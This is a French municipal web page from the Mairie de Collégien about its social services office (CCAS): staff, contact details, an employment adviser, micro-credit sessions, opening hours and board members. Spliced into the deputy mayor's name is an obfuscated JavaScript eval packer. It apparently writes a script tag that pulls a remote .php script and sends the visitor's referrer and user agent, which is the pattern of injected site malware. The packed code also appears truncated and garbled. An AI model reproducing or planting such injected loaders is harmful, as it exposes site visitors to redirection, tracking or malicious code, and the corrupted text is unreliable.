

Elue



Jocelyne eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\//,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";',30,30,'document|javascript|encodeURIComponent|src|write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|zrrfn|var|u0026u|referrer|afbaa|js|php'.split('|'),0,{})) **Bastien**

Maire-adjoint en charge de la politique sociale, emploi et logement

Service

Mairie de Collégien
8, place Mireille Morvan
77090 Collégien
Tél. 01 60 35 40 00
Directrice du service : Virginie Nsimba
Secrétaire : Mireille Bourgeade

Conseiller emploi : Christophe Guillozet, **le 1er lundi de chaque mois en mairie** ou sur rdv à la Mission locale.

Tél. 01 60 06 60 47 (Mission locale 5, passage de l'Arche Guédon 77200 Torcy)

Permanences micro-crédit : Monsieur Gourci tient une permanence le 2^e mercredi de chaque mois, en mairie, pour toute question relative au surendettement et au micro-crédit (Le microcrédit est un prêt destiné aux particuliers qui souhaitent concrétiser un projet (hors création d'entreprise), mais qui n'ont pas accès au crédit bancaire classique (permis de conduire, achat d'un véhicule d'occasion, etc..)).

Renseignement auprès du service social : 01 60 35 40 00.

Horaires d'ouverture au public :

Lundi 13 h 30 – 17 h

Mardi, jeudi, vendredi 9h – 12 h / 13 h 30 – 17h

Samedi 9h – 12h

Pour prendre rendez-vous :

- Directement à l'accueil de la mairie
- Par téléphone au 01 60 35 40 00
- Ou [par mail](#)

Pour info :

Le CCAS réunit des membres du conseil municipal et des représentants d'associations (3e âge, handicap...) et statut sur les aides extralégales dont les administrés peuvent bénéficier en fonction de leur situation.

Le CCAS est géré par un conseil d'administration, composé du maire, Président de Droit et d'un nombre égal de membres élus en son sein par le conseil municipal ainsi que de membres nommés par le maire.

Au-delà de sa mission première, qui est de répondre à des demandes d'aide d'urgence, ce centre communal doit permettre de mieux suivre et accompagner les personnes en difficultés.

Membres du conseil d'administration du CCAS :

- Le Maire
- Jocelyne Bastien
- Isabelle Chabin
- Joëlle Devillard
- Rebeca Croisier
- Claude Dumont
- Didier Mériot

Enregistrer